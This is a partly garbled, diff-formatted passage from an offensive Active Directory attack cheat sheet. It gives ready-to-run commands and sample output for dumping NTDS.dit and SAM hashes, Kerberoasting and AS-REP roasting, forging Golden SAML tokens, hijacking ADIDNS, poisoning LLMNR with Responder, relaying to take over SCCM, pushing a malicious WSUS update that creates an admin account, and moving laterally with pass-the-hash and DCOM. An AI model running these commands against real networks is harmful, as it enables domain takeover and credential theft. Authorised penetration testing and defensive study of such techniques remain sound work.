.secretsdump.py LOCAL -system output_vol/registry.0xaf0287e41000.SYSTEM.reg -ntds ntds.dit
Then you need to use impacket/secretsdump to extract the hashes, use the LOCAL
options to use it on a retrieved ntds.dit
secretsdump also works remotely
+./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
+./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
+
-pwd-last-set
: Shows pwdLastSet attribute for each NTDS.DIT account.-user-status
: Display whether or not the user is disabled.In AD LDS stores the data inside a dit file located at C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit
.
Dump adamntds.dit with Shadow copy using vssadmin.exe
+
Dump adamntds.dit with Windows Server Backup using wbadmin.exe
+
wbadmin.exe start backup -backupTarget:e: -vssCopy -include:"C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit"
+wbadmin.exe start recovery -version:08/04/2023-12:59 -items:"c:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" -itemType:File -recoveryTarget:C:\Users\Administrator\Desktop\ -backupTarget:e:
+
Extract hashes with synacktiv/ntdissector +
+Useful when you want to have the clear text password or when you need to make stats about weak passwords.
+Recommended wordlists: +- Rockyou.txt +- Have I Been Pwned founds +- Weakpass.com +- Read More at Methodology and Resources/Hash Cracking.md
+# Basic wordlist
+# (-O) will Optimize for 32 characters or less passwords
+# (-w 4) will set the workload to "Insane"
+$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2
+
+# Generate a custom mask based on a wordlist
+$ git clone https://github.com/iphelix/pack/blob/master/README
+$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
+$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
+
If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
+ +UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED
(0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. +This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
+The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.
+Dumps credential data in an Active Directory domain when run on a Domain Controller.
+Requires administrator access with debug privilege or NT-AUTHORITY\SYSTEM account.
+mimikatz> privilege::debug
+mimikatz> sekurlsa::krbtgt
+mimikatz> lsadump::lsa /inject /name:krbtgt
+
RODCs are an alternative for Domain Controllers in less secure physical locations +- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded) +- Any user or group specified in the managedBy attribute of an RODC has local admin access to the RODC server
+Requirements:
+Exploit:
+# keylistattack.py using SAMR user enumeration without filtering (-full flag)
+keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
+
+# keylistattack.py defining a target username (-t flag)
+keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
+
+# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
+secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
+
Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
+Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
+
When you have one the following permissions to the RODC computer object: GenericWrite, GenericAll, WriteDacl, Owns, WriteOwner, WriteProperty.
+# Get original msDS-RevealOnDemandGroup values
+bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup
+distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
+msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local
+# Add the previous value plus the admin account
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'
+
Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.
+thumbnailPhoto
attribute of the AD contact object.$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto
+[System.BitConverter]::ToString($key)
+
Gets the relying party trusts of the Federation Service.
+IssuanceAuthorizationRules
+ Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.
+Requirements:
+Exploitation:
+\\.\pipe\MICROSOFT##WID\tsql\query
Convert PFX and Private Key to binary format +
+Create the Golden SAML using mandiant/ADFSpoof, you might need to update the dependencies. +
mkdir ADFSpoofTools
+cd $_
+git clone https://github.com/dmb2168/cryptography.git
+git clone https://github.com/mandiant/ADFSpoof.git
+virtualenv3 venvADFSSpoof
+source venvADFSSpoof/bin/activate
+pip install lxml
+pip install signxml
+pip uninstall -y cryptography
+cd cryptography
+pip install -e .
+cd ../ADFSpoof
+pip install -r requirements.txt
+python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls
+/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
+
Manual Exploitation:
+Get-AdfsProperties
Get-AdfsRelyingPartyTrust
EncryptedPfx
and decode it base64 -d adfs.b64 > adfs.bin
+ $cmd.CommandText = "SELECT ServiceSettingsData from AdfsConfigurationV3.IdentityServerPolicy.ServiceSettings"
+$client= New-Object System.Data.SQLClient.SQLConnection($ConnectionString);
+$client.Open();
+$cmd = $client.CreateCommand()
+$cmd.CommandText = "SELECT name FROM sys.databases"
+$reader = $cmd.ExecuteReader()
+$reader.Read() | Out-Null
+$name = $reader.GetString(0)
+$reader.Close()
+Write-Output $name;
+
thumbnailPhoto
attribute of the Active Directory:
+ echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key
NOTE: There might be multiple master keys in the container, remember to try them all.
+Golden SAML Examples
+SAML2: requires --endpoint
, --nameidformat
, --identifier
, --nameid
and --assertions
+
python ADFSpoof.py -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint https://www.contoso.com/adfs/ls
+/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
+
Office365: requires --upn
and --objectguid
+
Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format.
+NOTE: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server.
+Other interesting tools to exploit AD FS:
+ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
+dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
+# or
+bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord
+
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
+# or
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab <Attacker IP>
+
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab <Attacker IP>
+
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.
+Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
+
Perform ADIDNS searches
+StandIn.exe --dns --limit 20
+StandIn.exe --dns --filter SQL --limit 10
+StandIn.exe --dns --forest --domain <domain> --user <username> --pass <password>
+StandIn.exe --dns --legacy --domain <domain> --user <username> --pass <password>
+
++If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
+
Requirements:
+Windows only: +
+Rubeus +
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
+[*] Action: AS-REP roasting
+[*] Target User : TestOU3user
+[*] Target Domain : testlab.local
+[*] SamAccountName : TestOU3user
+[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
+[*] Using domain controller: testlab.local (192.168.52.100)
+[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
+[*] Connecting to 192.168.52.100:88
+[*] Sent 169 bytes
+[*] Received 1437 bytes
+[+] AS-REQ w/o preauth successful!
+[*] AS-REP hash:
+
+$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
+
GetNPUsers from Impacket Suite +
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
+[*] Getting TGT for svc-alfresco
+$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4
+
+# extract hashes
+root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
+root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
+
netexec Module +
+Using hashcat
or john
to crack the ticket.
# crack AS_REP messages with hashcat
+root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
+root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
+
+# crack AS_REP messages with john
+C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
+
Mitigations:
+++In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.
+
The technique is fully explained in this article: Semperis blog post.
+You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
+ +++CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
+
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
+Requirements:
+Windows only: +
+Using CVE-2022-33679.py +
+Mitigations:
+++"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
+
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
+GetUserSPNs from Impacket Suite +
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
+
+Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
+
+ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
+-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
+active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
+
+$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
+
netexec Module +
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
+LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
+LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
+
Rubeus +
# Stats
+Rubeus.exe kerberoast /stats
+------------------------------------- ----------------------------------
+| Supported Encryption Type | Count | | Password Last Set Year | Count |
+------------------------------------- ----------------------------------
+| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
+------------------------------------- ----------------------------------
+
+# Kerberoast (RC4 ticket)
+Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
+
+# Kerberoast (AES ticket)
+# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
+Rubeus.exe kerberoast /tgtdeleg
+
+# Kerberoast (RC4 ticket)
+# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
+Rubeus.exe kerberoast /rc4opsec
+
bifrost on macOS machine +
+# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
+# print the "kerberoast" hash, and delete the temporary SPN set for that operation
+targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
+
Then crack the ticket using the correct hashcat mode ($krb5tgs$23
= etype 23
)
Mode | +Description | +
---|---|
13100 |
+Kerberos 5 TGS-REP etype 23 (RC4) | +
19600 |
+Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) | +
19700 |
+Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) | +
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
+./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
+
Mitigations:
+++Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
+
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is 5 minutes
, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
nmap
+ ++SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.
+
++Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization
+
Tools:
+Exploitation:
+inspect
on primary server to view who you can target
+ Create a new device group for the machines you want to laterally move too +
+Add your targets into the new group +
+Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$
+
Deploy the application to the target group +
+Force the target group to checkin for updates +
+Cleanup the application, deployment and group +
+++Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares
+
Requirements:
+HKLM\Software\Microsoft\SMS\DP\PxeInstalled
= 1HKLM\Software\Microsoft\SMS\DP\IsPxe
= 1Exploitation:
+ +Requirements:
+Exploitation:
+Create a machine or compromise an existing one, then request policies such as NAAConfig
Easy mode using SharpSCCM
```ps1
+SharpSCCM get secrets -u <username-machine-$> -p <password>
+SharpSCCM get naa
+```
+
Stealthy mode by creating a computer.
+addcomputer.py -computer-name 'customsccm$' -computer-pass 'YourStrongPassword123*' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10
/etc/hosts
file, add an entry for the MECM server: 192.168.33.11 MECM MECM.SCCM.LAB
sccmwtf
to request a policy: python3 sccmwtf.py fake fakepc.sccm.lab MECM 'SCCMLAB\customsccm$' 'YourStrongPassword123*'
cat /tmp/naapolicy.xml |grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 |grep -e 'CDATA' | cut -d '[' -f 3|cut -d ']' -f 1| xargs -I {} python3 policysecretunobfuscate.py {}
++ +Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.
+
Requirements:
+Exploitation:
+Find SCCM blob +
+Using GhostPack/SharpDPAPI +
+Using Mayyhem/SharpSCCM for SCCM retrieval and decryption +
+From a remote machine.
+Requirements:
+Exploitation:
+Search the database using SharpDPAPI
+
Search the database using SharpSCCM
+
Check ACL for the CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA
:
+
Requirements:
+Exploitation:
+Requirements:
+Exploitation:
+python3 sccmhunter.py mssql -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug -tu carol -sc P01 -stacked
ntlmrelayx.py -smb2support -ts -t mssql://192.168.33.12 -q "USE CM_P01; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x01050000000000051500000058ED3FD3BF25B04EDE28E7B85A040000,'SCCMLAB\carol',0,0,'','','','','P01');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00ALL','29');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00004','1');"
petitpotam.py -d sccm.lab -u carol -p SCCMftw 192.168.33.1 192.168.33.11
python3 sccmhunter.py admin -u carol@sccm.lab -p 'SCCMftw' -ip 192.168.33.11
Microsoft requires the site server's computer account to be an administrator on the MSSQL server.
+Exploitation:
+ntlmrelayx -t 192.168.33.12 -smb2support -socks
petitpotam.py -d sccm.lab -u sccm-naa -p 123456789 192.168.33.1 192.168.33.11
ntlmrelayx
to access the MSSQL server as a local administrator
+ CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine.
+Backdoor the SCNotification.exe.config
to load your DLL
Malicious config to force SCNotification.exe
to load a file from an attacker-controlled file share
++Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
+
The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.
+Locate using HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
or SharpWSUS.exe locate
SharpWSUS.exe inspect
SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local
SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group
LmCompatibilityLevel is a Windows security setting that determines the level of authentication protocol used between computers. It specifies how Windows handles NTLM and LAN Manager (LM) authentication protocols, impacting how passwords are stored and how authentication requests are processed. The level can range from 0 to 5, with higher levels generally providing more secure authentication methods.
+ +++Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication. They are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys.
+
Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.
+Requirements:
+LmCompatibilityLevel = 0x1
: Send LM and NTLM responseExploitation:
+/etc/responder/Responder.conf
file to include the magical 1122334455667788 challenge
+ responder -I eth0 --lm
, if --disable-ess
is set, extended session security will be disabled for NTLMv1 authenticationNetNTLMv1 tokens
, you can try to shuck them online via Shuck.Sh or locally/on-premise via ShuckNT to get NT-hashes corresponding from HIBP database. If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash (pass-the-hash ready) instantly. The shucking process works for any NetNTLMv1 with or without ESS/SSP (challenge != 1122334455667788
) but mainly for user account (plaintext previsouly leaked).
+ # Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php
+# Or shuck them on-premise via ShuckNT script:
+$ php shucknt.php -f tokens-samples.txt -w pwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin
+[...]
+10 hashes-challenges analyzed in 3 seconds, with 8 NT-Hash instantly broken for pass-the-hash and 1 that can be broken via crack.sh for free.
+[INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
+ [NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B
+
NetNTLMv1 tokens
, you can also try to crack them via Crack.Sh (cloud service when available, more time and potentially chargeable). For this you need to format them to submit them on Crack.Sh. The Converter of Shuck.Sh can be used to convert format easily.
+ # When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
+username::hostname:response:response:challenge -> NTHASH:response
+NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
+
+# When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
+username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse
+$NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E
+
john --format=netntlm hash.txt
+hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
+hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
+hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php.
+
NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= 1122334455667788
, so chargeable on Crack.Sh).
NetNTLMv1 format is login::domain:lmresp:ntresp:clientChall
. If the lmresp
contains a 0's-padding this means that the token is protected by ESS/SSP.
NetNTLMv1 final challenge is the Responder's challenge itself (1122334455667788
) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the Shuck.Sh Generator and detailed in MISCMag#128.
If you get some tokens from other tools (hostapd-wpe or chapcrack) in other formats, like tokens starting with the prefix $MSCHAPv2$
, $NETNTLM$
or $99$
, they correspond to a classic NetNTLMv1 and can be converted from one format to another here.
Mitigations:
+Send NTLMv2 responses only. Refuse LM & NTLM
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR
, MDNS
and NETBIOS
requests on the network.
# https://github.com/lgandx/Responder
+$ sudo ./Responder.py -I eth0 -wfrd -P -v
+
+# https://github.com/Kevin-Robertson/InveighZero
+PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]
+
+# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
+PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
+
Crack the hashes with Hashcat / John The Ripper
+ +In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).
+root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
+root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
+root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass
+
+# also with the AES Key if you have it
+root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
+
+root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
+root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
+root@kali:~$ klist
+
# Request a TGT as the target user and pass it into the current session
+# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
+.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
+
+# More stealthy variant, but requires the AES256 hash
+.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt
+
+# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
+.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
+
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
+use exploit/windows/smb/psexec
+set RHOST 10.2.0.3
+set SMBUser jarrieta
+set SMBPass nastyCutt3r
+# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
+# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
+set PAYLOAD windows/meterpreter/bind_tcp
+run
+shell
+
You can extract the local SAM database to find the local administrator hash :
+C:\> reg.exe save hklm\sam c:\temp\sam.save
+C:\> reg.exe save hklm\security c:\temp\security.save
+C:\> reg.exe save hklm\system c:\temp\system.save
+$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
+
++DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
+
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
+dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
+dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
+
+python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
+# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
+# -silentcommand executes the command without attempting to retrieve the output.
+
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
+-t, --target=VALUE Target Machine
+-b, --binary=VALUE Binary: powershell.exe
+-a, --args=VALUE Arguments: -enc <blah>
+-m, --method=VALUE Methods: MMC20Application, ShellWindows,
+ ShellBrowserWindow, ExcelDDE, VisioAddonEx,
+ OutlookShellEx, ExcelXLL, VisioExecLine,
+ OfficeMacro
+-r, --reg, --registry Enable registry manipulation
+-h, -?, --help Show Help
+
+Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
+
Import-Module .\Invoke-DCOM.ps1
+Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
+
This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.
+PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
+PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
